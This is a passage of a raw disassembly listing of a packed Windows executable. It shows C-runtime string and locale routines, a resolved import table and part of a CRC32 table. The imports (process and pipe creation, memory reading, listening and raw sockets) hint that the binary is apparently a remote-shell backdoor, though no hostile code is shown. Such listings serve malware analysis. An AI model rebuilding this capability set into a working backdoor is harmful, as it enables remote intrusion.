CODE XREF: sub_4271B3+Bj cmp dword_4DE0EC, 0 jnz short loc_4271DF cmp ax, 41h jb short locret_427226 cmp ax, 5Ah ja short locret_427226 add eax, 20h leave retn ; --------------------------------------------------------------------------- loc_4271DF: ; CODE XREF: sub_4271B3+19j cmp ax, 100h jnb short loc_4271F9 push 1 push eax call sub_427461 pop ecx test eax, eax pop ecx jnz short loc_4271F9 mov ax, word ptr [ebp+arg_0] leave retn ; --------------------------------------------------------------------------- loc_4271F9: ; CODE XREF: sub_4271B3+30j ; sub_4271B3+3Ej push 0 lea eax, [ebp+var_2] push 1 push eax lea eax, [ebp+arg_0] push 1 push eax push 100h push dword_4DE0EC call sub_427228 add esp, 1Ch test eax, eax mov ax, word ptr [ebp+arg_0] jz short locret_427226 mov ax, [ebp+var_2] locret_427226: ; CODE XREF: sub_4271B3+1Fj ; sub_4271B3+25j ... leave retn sub_4271B3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427228 proc near ; CODE XREF: sub_4271B3+5Fp var_2C = dword ptr -2Ch var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_428DB8 push offset sub_423D9C mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp xor esi, esi cmp dword_4DE344, esi jnz short loc_42729E push esi push esi push 1 pop ebx push ebx push offset dword_428948 mov edi, 100h push edi push esi call dword_428050 ; LCMapStringW test eax, eax jz short loc_42727C mov dword_4DE344, ebx jmp short loc_42729E ; --------------------------------------------------------------------------- loc_42727C: ; CODE XREF: sub_427228+4Aj push esi push esi push ebx push offset word_4CDB1C push edi push esi call dword_428054 ; LCMapStringA test eax, eax jz loc_42741D mov dword_4DE344, 2 loc_42729E: ; CODE XREF: sub_427228+2Ej ; sub_427228+52j cmp [ebp+arg_C], esi jle short loc_4272B3 push [ebp+arg_C] push [ebp+arg_8] call sub_427431 pop ecx pop ecx mov [ebp+arg_C], eax loc_4272B3: ; CODE XREF: sub_427228+79j mov eax, dword_4DE344 cmp eax, 1 jnz short loc_4272DA push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_428050 ; LCMapStringW jmp loc_42741F ; --------------------------------------------------------------------------- loc_4272DA: ; CODE XREF: sub_427228+93j cmp eax, 2 jnz loc_42741D cmp [ebp+arg_18], esi jnz short loc_4272F0 mov eax, dword_4DE0FC mov [ebp+arg_18], eax loc_4272F0: ; CODE XREF: sub_427228+BEj push esi push esi push esi push esi push [ebp+arg_C] push [ebp+arg_8] push 220h push [ebp+arg_18] call dword_428180 ; WideCharToMultiByte mov [ebp+var_20], eax cmp eax, esi jz loc_42741D mov [ebp+var_4], esi add eax, 3 and al, 0FCh call sub_41C2F0 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_1C], eax jmp short loc_427336 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor esi, esi mov [ebp+var_1C], esi loc_427336: ; CODE XREF: sub_427228+100j or [ebp+var_4], 0FFFFFFFFh cmp [ebp+var_1C], esi jz loc_42741D push esi push esi push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_C] push [ebp+arg_8] push 220h push [ebp+arg_18] call dword_428180 ; WideCharToMultiByte test eax, eax jz loc_42741D push esi push esi push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_4] push [ebp+arg_0] call dword_428054 ; LCMapStringA mov edi, eax mov [ebp+var_2C], edi cmp edi, esi jz loc_42741D mov [ebp+var_4], 1 add eax, 3 and al, 0FCh call sub_41C2F0 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_24], ebx or [ebp+var_4], 0FFFFFFFFh jmp short loc_4273B9 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor esi, esi xor ebx, ebx or [ebp+var_4], 0FFFFFFFFh mov edi, [ebp+var_2C] loc_4273B9: ; CODE XREF: sub_427228+17Dj cmp ebx, esi jz short loc_42741D push edi push ebx push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_4] push [ebp+arg_0] call dword_428054 ; LCMapStringA test eax, eax jz short loc_42741D test byte ptr [ebp+arg_4+1], 4 jz short loc_4273F7 mov eax, [ebp+arg_14] cmp eax, esi jz short loc_427419 cmp eax, edi jl short loc_4273E8 mov eax, edi loc_4273E8: ; CODE XREF: sub_427228+1BCj push eax push ebx push [ebp+arg_10] call sub_41BDC0 add esp, 0Ch jmp short loc_427419 ; --------------------------------------------------------------------------- loc_4273F7: ; CODE XREF: sub_427228+1B1j cmp [ebp+arg_14], esi jnz short loc_427400 push esi push esi jmp short loc_427406 ; --------------------------------------------------------------------------- loc_427400: ; CODE XREF: sub_427228+1D2j push [ebp+arg_14] push [ebp+arg_10] loc_427406: ; CODE XREF: sub_427228+1D6j push edi push ebx push 1 push [ebp+arg_18] call dword_428184 ; MultiByteToWideChar mov edi, eax cmp edi, esi jz short loc_42741D loc_427419: ; CODE XREF: sub_427228+1B8j ; sub_427228+1CDj mov eax, edi jmp short loc_42741F ; --------------------------------------------------------------------------- loc_42741D: ; CODE XREF: sub_427228+66j ; sub_427228+B5j ... xor eax, eax loc_42741F: ; CODE XREF: sub_427228+ADj ; sub_427228+1F3j lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_427228 endp ; =============== S U B R O U T I N E ======================================= sub_427431 proc near ; CODE XREF: sub_427228+81p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] mov eax, [esp+arg_0] test edx, edx push esi lea ecx, [edx-1] jz short loc_427450 loc_427441: ; CODE XREF: sub_427431+1Dj cmp word ptr [eax], 0 jz short loc_427450 inc eax mov esi, ecx inc eax dec ecx test esi, esi jnz short loc_427441 loc_427450: ; CODE XREF: sub_427431+Ej ; sub_427431+14j cmp word ptr [eax], 0 pop esi jnz short loc_42745E sub eax, [esp+arg_0] sar eax, 1 retn ; --------------------------------------------------------------------------- loc_42745E: ; CODE XREF: sub_427431+24j mov eax, edx retn sub_427431 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427461 proc near ; CODE XREF: sub_4271B3+35p var_4 = dword ptr -4 arg_0 = word ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0FFFFh jz short loc_4274A1 cmp [ebp+arg_0], 100h jnb short loc_427485 movzx eax, [ebp+arg_0] mov ecx, off_43EFEC mov ax, [ecx+eax*2] jmp short loc_4274A8 ; --------------------------------------------------------------------------- loc_427485: ; CODE XREF: sub_427461+12j push 0 lea eax, [ebp+var_4] push 0 push eax lea eax, [ebp+arg_0] push 1 push eax push 1 call sub_4274B3 add esp, 18h test eax, eax jnz short loc_4274A5 loc_4274A1: ; CODE XREF: sub_427461+Aj xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_4274A5: ; CODE XREF: sub_427461+3Ej mov eax, [ebp+var_4] loc_4274A8: ; CODE XREF: sub_427461+22j movzx ecx, [ebp+arg_4] movzx eax, ax and eax, ecx leave retn sub_427461 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4274B3 proc near ; CODE XREF: sub_427461+34p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_428DD0 push offset sub_423D9C mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp mov eax, dword_4DE348 xor edi, edi cmp eax, edi jnz short loc_427522 lea eax, [ebp+var_1C] push eax push 1 pop esi push esi push offset dword_428948 push esi call dword_428020 ; GetStringTypeW test eax, eax jz short loc_427500 mov eax, esi jmp short loc_42751D ; --------------------------------------------------------------------------- loc_427500: ; CODE XREF: sub_4274B3+47j lea eax, [ebp+var_1C] push eax push esi push offset word_4CDB1C push esi push edi call dword_428024 ; GetStringTypeA test eax, eax jz loc_427664 push 2 pop eax loc_42751D: ; CODE XREF: sub_4274B3+4Bj mov dword_4DE348, eax loc_427522: ; CODE XREF: sub_4274B3+2Fj cmp eax, 1 jnz short loc_42753E push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_428020 ; GetStringTypeW jmp loc_427666 ; --------------------------------------------------------------------------- loc_42753E: ; CODE XREF: sub_4274B3+72j cmp eax, 2 jnz loc_427664 cmp [ebp+arg_10], edi jnz short loc_427554 mov eax, dword_4DE0FC mov [ebp+arg_10], eax loc_427554: ; CODE XREF: sub_4274B3+97j push edi push edi push edi push edi push [ebp+arg_8] push [ebp+arg_4] push 220h push [ebp+arg_10] call dword_428180 ; WideCharToMultiByte mov esi, eax mov [ebp+var_28], esi cmp esi, edi jz loc_427664 mov [ebp+var_4], edi add eax, 3 and al, 0FCh call sub_41C2F0 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_2C], eax push esi push edi push eax call sub_41BD60 add esp, 0Ch or [ebp+var_4], 0FFFFFFFFh jmp short loc_4275B2 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi mov [ebp+var_2C], edi or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_28] loc_4275B2: ; CODE XREF: sub_4274B3+EAj cmp [ebp+var_2C], edi jz loc_427664 push edi push edi push esi push [ebp+var_2C] push [ebp+arg_8] push [ebp+arg_4] push 220h push [ebp+arg_10] call dword_428180 ; WideCharToMultiByte test eax, eax jz loc_427664 mov [ebp+var_4], 1 lea eax, [esi+esi+2] add eax, 3 and al, 0FCh call sub_41C2F0 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_24], ebx jmp short loc_427607 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi xor ebx, ebx loc_427607: ; CODE XREF: sub_4274B3+147j or [ebp+var_4], 0FFFFFFFFh cmp ebx, edi jz short loc_427664 mov eax, [ebp+arg_14] cmp eax, edi jnz short loc_42761B mov eax, dword_4DE0EC loc_42761B: ; CODE XREF: sub_4274B3+161j mov ecx, [ebp+arg_8] lea edi, [ecx+ecx] lea esi, [edi+ebx] or word ptr [esi], 0FFFFh or word ptr [esi-2], 0FFFFh push ebx push [ebp+var_28] push [ebp+var_2C] push [ebp+arg_0] push eax call dword_428024 ; GetStringTypeA mov [ebp+var_20], eax cmp word ptr [esi-2], 0FFFFh jz short loc_427664 cmp word ptr [esi], 0FFFFh jnz short loc_427664 push edi push ebx push [ebp+arg_C] call sub_41D460 add esp, 0Ch mov eax, [ebp+var_20] jmp short loc_427666 ; --------------------------------------------------------------------------- loc_427664: ; CODE XREF: sub_4274B3+61j ; sub_4274B3+8Ej ... xor eax, eax loc_427666: ; CODE XREF: sub_4274B3+86j ; sub_4274B3+1AFj lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_4274B3 endp ; =============== S U B R O U T I N E ======================================= sub_427678 proc near ; DATA XREF: .packed:00428F74o ; FUNCTION CHUNK AT 0040D308 SIZE 00000008 BYTES lea ecx, [ebp-38h] jmp loc_40D308 sub_427678 endp ; --------------------------------------------------------------------------- mov eax, [ebp-20h] and eax, 1 test eax, eax jz locret_427696 mov ecx, [ebp+8] jmp loc_40D308 ; --------------------------------------------------------------------------- locret_427696: ; CODE XREF: .packed:00427688j retn ; --------------------------------------------------------------------------- loc_427697: ; DATA XREF: sub_40CEE3o mov eax, offset dword_428F78 jmp loc_41D0EF ; --------------------------------------------------------------------------- align 4 lea ecx, [ebp+14h] jmp loc_40D308 ; --------------------------------------------------------------------------- loc_4276AC: ; DATA XREF: .packed:00428FA0o lea ecx, [ebp-1Ch] jmp loc_40D308 ; --------------------------------------------------------------------------- loc_4276B4: ; DATA XREF: sub_40D082o mov eax, offset dword_428FA4 jmp loc_41D0EF ; --------------------------------------------------------------------------- align 10h loc_4276C0: ; DATA XREF: sub_40D5E9o mov eax, offset dword_428FF4 jmp loc_41D0EF ; --------------------------------------------------------------------------- align 4 lea ecx, [ebp-20h] jmp loc_40D308 ; --------------------------------------------------------------------------- loc_4276D4: ; DATA XREF: sub_426CA0o mov eax, offset dword_429090 jmp loc_41D0EF ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-14h] jmp sub_427125 ; --------------------------------------------------------------------------- loc_4276E8: ; DATA XREF: sub_426CFAo mov eax, offset dword_4290B8 jmp loc_41D0EF ; --------------------------------------------------------------------------- align 4 mov ecx, [ebp-10h] jmp sub_427125 ; --------------------------------------------------------------------------- loc_4276FC: ; DATA XREF: sub_426D88o mov eax, offset dword_429100 jmp loc_41D0EF ; --------------------------------------------------------------------------- align 4 mov ecx, [ebp-10h] jmp sub_427125 ; --------------------------------------------------------------------------- loc_427710: ; DATA XREF: sub_426DE1o mov eax, offset dword_429128 jmp loc_41D0EF ; --------------------------------------------------------------------------- align 4 mov ecx, [ebp-10h] jmp sub_427125 ; --------------------------------------------------------------------------- loc_427724: ; DATA XREF: sub_426E3Eo mov eax, offset dword_429150 jmp loc_41D0EF ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-20h] jmp loc_40D308 ; --------------------------------------------------------------------------- loc_427738: ; DATA XREF: sub_426ECCo mov eax, offset dword_4291B8 jmp loc_41D0EF ; --------------------------------------------------------------------------- align 4 mov ecx, [ebp-10h] jmp sub_427125 ; --------------------------------------------------------------------------- loc_42774C: ; DATA XREF: sub_426F26o mov eax, offset dword_4291E0 jmp loc_41D0EF ; --------------------------------------------------------------------------- align 4 dd 22Ah dup(0) dword_428000 dd 7C8137D9h ; resolved to->KERNEL32.FindFirstFileA ; sub_417322+26r dword_428004 dd 7C833478h ; resolved to->KERNEL32.SetEnvironmentVariableAdword_428008 dd 7C80A35Eh ; resolved to->KERNEL32.CompareStringW ; sub_426733+261r dword_42800C dd 7C80D077h ; resolved to->KERNEL32.CompareStringA ; sub_426733+B9r dword_428010 dd 7C832044h ; resolved to->KERNEL32.SetEndOfFiledword_428014 dd 7C80BCCFh ; resolved to->KERNEL32.IsBadCodePtrdword_428018 dd 7C809E01h ; resolved to->KERNEL32.IsBadReadPtrdword_42801C dd 7C84467Dh ; resolved to->KERNEL32.SetUnhandledExceptionFilter ; sub_424F93+6r dword_428020 dd 7C80A490h ; resolved to->KERNEL32.GetStringTypeW ; sub_424517+12Dr ... dword_428024 dd 7C838A0Ch ; resolved to->KERNEL32.GetStringTypeA ; sub_424517+8Dr ... dword_428028 dd 7C812641h ; resolved to->KERNEL32.FlushFileBuffersdword_42802C dd 7C81DC03h ; resolved to->KERNEL32.SetStdHandle ; sub_42410C:loc_42415Fr dword_428030 dd 7C810E51h ; resolved to->KERNEL32.GetFileType ; sub_423BE6+166r ... dword_428034 dd 7C812F39h ; resolved to->KERNEL32.GetStdHandle ; sub_423EAD+143r dword_428038 dd 7C80CC97h ; resolved to->KERNEL32.SetHandleCountdword_42803C dd 7C812F08h ; resolved to->KERNEL32.GetEnvironmentStringsWdword_428040 dd 7C81CF5Bh ; resolved to->KERNEL32.GetEnvironmentStringsA ; sub_423AB4+E1r dword_428044 dd 7C814AE7h ; resolved to->KERNEL32.FreeEnvironmentStringsWdword_428048 dd 7C81DF77h ; resolved to->KERNEL32.FreeEnvironmentStringsAdword_42804C dd 7C862E2Ah ; resolved to->KERNEL32.UnhandledExceptionFilterdword_428050 dd 7C80CCA8h ; resolved to->KERNEL32.LCMapStringW ; sub_423383+14Dr ... dword_428054 dd 7C838DE8h ; resolved to->KERNEL32.LCMapStringA ; sub_423383+A7r ... dword_428058 dd 7C9109EDh ; resolved to->NTDLL.RtlSizeHeapdword_42805C dd 7C812A09h ; resolved to->KERNEL32.RaiseException ; sub_427179+2Er dword_428060 dd 7C8127A7h ; resolved to->KERNEL32.GetOEMCPdword_428064 dd 7C802442h ; resolved to->KERNEL32.Sleep ; sub_401132+29r ... dword_428068 dd 7C81CDDAh ; resolved to->KERNEL32.ExitProcess ; sub_401252+7Ar ... dword_42806C dd 7C809B47h ; resolved to->KERNEL32.CloseHandle ; sub_401252+2CCr ... dword_428070 dd 7C802367h ; resolved to->KERNEL32.CreateProcessA ; sub_401252+2B4r ... dword_428074 dd 7C80B4CFh ; resolved to->KERNEL32.GetModuleFileNameA ; sub_401252+DDr ... dword_428078 dd 7C814EEAh ; resolved to->KERNEL32.GetSystemDirectoryA ; sub_401252+C7r ... dword_42807C dd 7C810637h ; resolved to->KERNEL32.CreateThread ; sub_401B66+72Er ... dword_428080 dd 7C831EABh ; resolved to->KERNEL32.DeleteFileA ; sub_401B66+7751r ... dword_428084 dd 7C8309E1h ; resolved to->KERNEL32.OpenProcess ; sub_4177CF+15r ... dword_428088 dd 7C809920h ; resolved to->KERNEL32.GetCurrentProcessIddword_42808C dd 7C910331h ; resolved to->NTDLL.RtlGetLastWin32Error ; sub_401252+3D4r ... dword_428090 dd 7C8286EEh ; resolved to->KERNEL32.CopyFileAdword_428094 dd 7C812782h ; resolved to->KERNEL32.SetFileAttributesA ; sub_401252+212r ... dword_428098 dd 7C81153Ch ; resolved to->KERNEL32.GetFileAttributesA ; sub_40FF08+10Fr ... dword_42809C dd 7C80B6A1h ; resolved to->KERNEL32.GetModuleHandleA ; sub_409A1D+2r ... dword_4280A0 dd 7C802520h ; resolved to->KERNEL32.WaitForSingleObject ; sub_401252+302r ... dword_4280A4 dd 7C80E93Fh ; resolved to->KERNEL32.CreateMutexAdword_4280A8 dd 7C80929Ch ; resolved to->KERNEL32.GetTickCount ; sub_401B66+24C8r ... dword_4280AC dd 7C81CE03h ; resolved to->KERNEL32.TerminateThread ; sub_40B0C8+27r ... dword_4280B0 dd 7C835DCAh ; resolved to->KERNEL32.GetTempPathA ; sub_418A34+35r dword_4280B4 dd 7C835E8Fh ; resolved to->KERNEL32.MoveFileAdword_4280B8 dd 7C801D77h ; resolved to->KERNEL32.LoadLibraryA ; sub_409A1D:loc_409F2Br ... dword_4280BC dd 7C80ADA0h ; resolved to->KERNEL32.GetProcAddress ; sub_417474+60r ... dword_4280C0 dd 7C8216A4h ; resolved to->KERNEL32.GetComputerNameA ; sub_419D4E+34r dword_4280C4 dd 7C80D262h ; resolved to->KERNEL32.GetLocaleInfoAdword_4280C8 dd 7C812ADEh ; resolved to->KERNEL32.GetVersionExA ; sub_418BBC+32r ... dword_4280CC dd 7C80C058h ; resolved to->KERNEL32.ExitThread ; sub_40B71C+1ACr ... dword_4280D0 dd 7C9010EDh ; resolved to->NTDLL.RtlLeaveCriticalSectiondword_4280D4 dd 7C901005h ; resolved to->NTDLL.RtlEnterCriticalSectiondword_4280D8 dd 7C80B829h ; resolved to->KERNEL32.InitializeCriticalSectionAndSpinCountdword_4280DC dd 7C91188Ah ; resolved to->NTDLL.RtlDeleteCriticalSection ; sub_40C1BE+241r dword_4280E0 dd 7C810D87h ; resolved to->KERNEL32.WriteFile ; sub_40D86F+17Er ... dword_4280E4 dd 7C8308ADh ; resolved to->KERNEL32.CreateEventAdword_4280E8 dd 7C80180Eh ; resolved to->KERNEL32.ReadFile ; sub_40D86F+4B0r ... dword_4280EC dd 7C801A24h ; resolved to->KERNEL32.CreateFileA ; sub_40E453+1CBr ... dword_4280F0 dd 7C8312E5h ; resolved to->KERNEL32.TransactNamedPipedword_4280F4 dd 7C801E16h ; resolved to->KERNEL32.TerminateProcess ; sub_411355+119r ... dword_4280F8 dd 7C80DDFEh ; resolved to->KERNEL32.DuplicateHandle ; sub_4115A3+77r ... dword_4280FC dd 7C80DDF5h ; resolved to->KERNEL32.GetCurrentProcess ; sub_40EDB1+10Ar ... dword_428100 dd 7C81E0C7h ; resolved to->KERNEL32.CreatePipe ; sub_4114AA+23r ... dword_428104 dd 7C83632Dh ; resolved to->KERNEL32.GetTimeFormatA ; sub_41B1FC+1B6r dword_428108 dd 7C8361EEh ; resolved to->KERNEL32.GetDateFormatA ; sub_41B1FC+19Fr dword_42810C dd 7C810A77h ; resolved to->KERNEL32.GetFileSize ; sub_410838+38r ... dword_428110 dd 7C80EDD7h ; resolved to->KERNEL32.FindClose ; sub_417322+C0r ... dword_428114 dd 7C80E7ECh ; resolved to->KERNEL32.FileTimeToSystemTime ; sub_4177CF+135r dword_428118 dd 7C80E866h ; resolved to->KERNEL32.FileTimeToLocalFileTime ; sub_4177CF+123r dword_42811C dd 7C834EB1h ; resolved to->KERNEL32.FindNextFileA ; sub_4101B7+5DCr ... dword_428120 dd 7C810B8Eh ; resolved to->KERNEL32.SetFilePointer ; sub_416398+259r ... dword_428124 dd 7C81B58Bh ; resolved to->KERNEL32.SetConsoleCtrlHandlerdword_428128 dd 7C80A05Dh ; resolved to->KERNEL32.WaitForMultipleObjectsdword_42812C dd 7C873A31h ; resolved to->KERNEL32.GenerateConsoleCtrlEventdword_428130 dd 7C80A7D4h ; resolved to->KERNEL32.GetLocalTime ; sub_4157A5+Dr ... dword_428134 dd 7C80A427h ; resolved to->KERNEL32.QueryPerformanceCounter ; sub_413133+2D4r ... dword_428138 dd 7C82FA46h ; resolved to->KERNEL32.QueryPerformanceFrequency ; sub_413E88+FFr dword_42813C dd 7C80ABDEh ; resolved to->KERNEL32.FreeLibrary ; sub_418D6C+C3r dword_428140 dd 7C80F0F4h ; resolved to->KERNEL32.GetEnvironmentVariableWdword_428144 dd 7C91043Dh ; resolved to->NTDLL.RtlFreeHeap ; sub_417646+F5r ... dword_428148 dd 7C9105D4h ; resolved to->NTDLL.RtlAllocateHeap ; sub_4177CF+4Ar ... dword_42814C dd 7C80ABC1h ; resolved to->KERNEL32.GetProcessHeap ; sub_4177CF+40r ... dword_428150 dd 7C80B9A0h ; resolved to->KERNEL32.VirtualQueryEx ; sub_417973+53r dword_428154 dd 7C8021CCh ; resolved to->KERNEL32.ReadProcessMemory ; sub_417973+95r dword_428158 dd 7C812D56h ; resolved to->KERNEL32.GetSystemInfo ; sub_417973+2Cr dword_42815C dd 7C82F7A0h ; resolved to->KERNEL32.FormatMessageAdword_428160 dd 7C80FE82h ; resolved to->KERNEL32.GlobalUnlockdword_428164 dd 7C80FF19h ; resolved to->KERNEL32.GlobalLockdword_428168 dd 7C80B974h ; resolved to->KERNEL32.UnmapViewOfFiledword_42816C dd 7C80B905h ; resolved to->KERNEL32.MapViewOfFiledword_428170 dd 7C80945Ch ; resolved to->KERNEL32.CreateFileMappingAdword_428174 dd 7C831CB8h ; resolved to->KERNEL32.SetFileTimedword_428178 dd 7C831C45h ; resolved to->KERNEL32.GetFileTimedword_42817C dd 7C8329D9h ; resolved to->KERNEL32.ExpandEnvironmentStringsAdword_428180 dd 7C80A0D4h ; resolved to->KERNEL32.WideCharToMultiByte ; sub_423383+20Dr ... dword_428184 dd 7C809BF8h ; resolved to->KERNEL32.MultiByteToWideChar ; sub_41E034+54r ... dword_428188 dd 7C80BAA1h ; resolved to->KERNEL32.lstrcmpiAdword_42818C dd 7C81AE17h ; resolved to->KERNEL32.GetExitCodeProcessdword_428190 dd 7C85F90Fh ; resolved to->KERNEL32.PeekNamedPipedword_428194 dd 7C830B14h ; resolved to->KERNEL32.GetLogicalDrivesdword_428198 dd 7C8310F2h ; resolved to->KERNEL32.GlobalMemoryStatusdword_42819C dd 7C9179FDh ; resolved to->NTDLL.RtlReAllocateHeap ; sub_41B9D2+22Dr ... dword_4281A0 dd 7C937A40h ; resolved to->NTDLL.RtlUnwinddword_4281A4 dd 7C8350BFh ; resolved to->KERNEL32.GetTimeZoneInformation ; sub_42501C+38r dword_4281A8 dd 7C80176Bh ; resolved to->KERNEL32.GetSystemTimedword_4281AC dd 7C801EEEh ; resolved to->KERNEL32.GetStartupInfoA ; sub_423BE6+59r dword_4281B0 dd 7C812F1Dh ; resolved to->KERNEL32.GetCommandLineAdword_4281B4 dd 7C8111DAh ; resolved to->KERNEL32.GetVersiondword_4281B8 dd 7C814AF2h ; resolved to->KERNEL32.GetEnvironmentVariableAdword_4281BC dd 7C810EF8h ; resolved to->KERNEL32.HeapDestroydword_4281C0 dd 7C812BB6h ; resolved to->KERNEL32.HeapCreatedword_4281C4 dd 7C809AE4h ; resolved to->KERNEL32.VirtualFree ; sub_41F176+120r ... dword_4281C8 dd 7C809A51h ; resolved to->KERNEL32.VirtualAlloc ; sub_41ED85+51r ... dword_4281CC dd 7C809E79h ; resolved to->KERNEL32.IsBadWritePtrdword_4281D0 dd 7C812E76h ; resolved to->KERNEL32.GetCPInfo ; sub_4208E8+14r ... dword_4281D4 dd 7C809915h ; resolved to->KERNEL32.GetACP dd 0 dword_4281DC dd 71B2517Fh dd 0 dword_4281E4 dd 71AB46C9h ; resolved to->WS2_32.getsockoptdword_4281E8 dd 71AB2B66h ; resolved to->WS2_32.ntohs ; sub_412CA4+1F0r dword_4281EC dd 71AB3F41h ; resolved to->WS2_32.inet_ntoadword_4281F0 dd 71AB4428h ; resolved to->WS2_32.WSACleanup ; sub_40F8BC+8Er dword_4281F4 dd 71AB664Dh ; resolved to->WS2_32.WSAStartup ; sub_40F83F+15r dword_4281F8 dd 71AB4519h ; resolved to->WS2_32.ioctlsocket ; sub_413CEF+6Er ... dword_4281FC dd 71AB3E00h ; resolved to->WS2_32.binddword_428200 dd 71AB88D3h ; resolved to->WS2_32.listendword_428204 dd 71AC1028h ; resolved to->WS2_32.acceptdword_428208 dd 71AB8769h ; resolved to->WS2_32.WSASocketAdword_42820C dd 71AB2B66h ; resolved to->WS2_32.ntohs ; sub_40E71F+36r ... dword_428210 dd 71AB406Ah ; resolved to->WS2_32.connect ; sub_40E71F+59r ... dword_428214 dd 71AB3EA1h ; resolved to->WS2_32.setsockopt ; sub_40F23F+5Ar dword_428218 dd 71AB615Ah ; resolved to->WS2_32.recv ; sub_40DE14+28Br ... dword_42821C dd 71AB9639h ; resolved to->WS2_32.closesocket ; sub_40DE14:loc_40E26Ar ... dword_428220 dd 71AB3B91h ; resolved to->WS2_32.socket ; sub_40DE14+15r ... dword_428224 dd 71AB428Ah ; resolved to->WS2_32.send ; sub_40DE14+A4r ... dword_428228 dd 71AB2DC0h ; resolved to->WS2_32.select ; sub_40F23F+106r dword_42822C dd 71AB4544h ; resolved to->WS2_32.__WSAFDIsSetdword_428230 dd 71AB951Eh ; resolved to->WS2_32.getsocknamedword_428234 dd 71AB2BF4h ; resolved to->WS2_32.inet_addr ; sub_40E71F+27r ... align 10h dword_428240 dd 0 dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 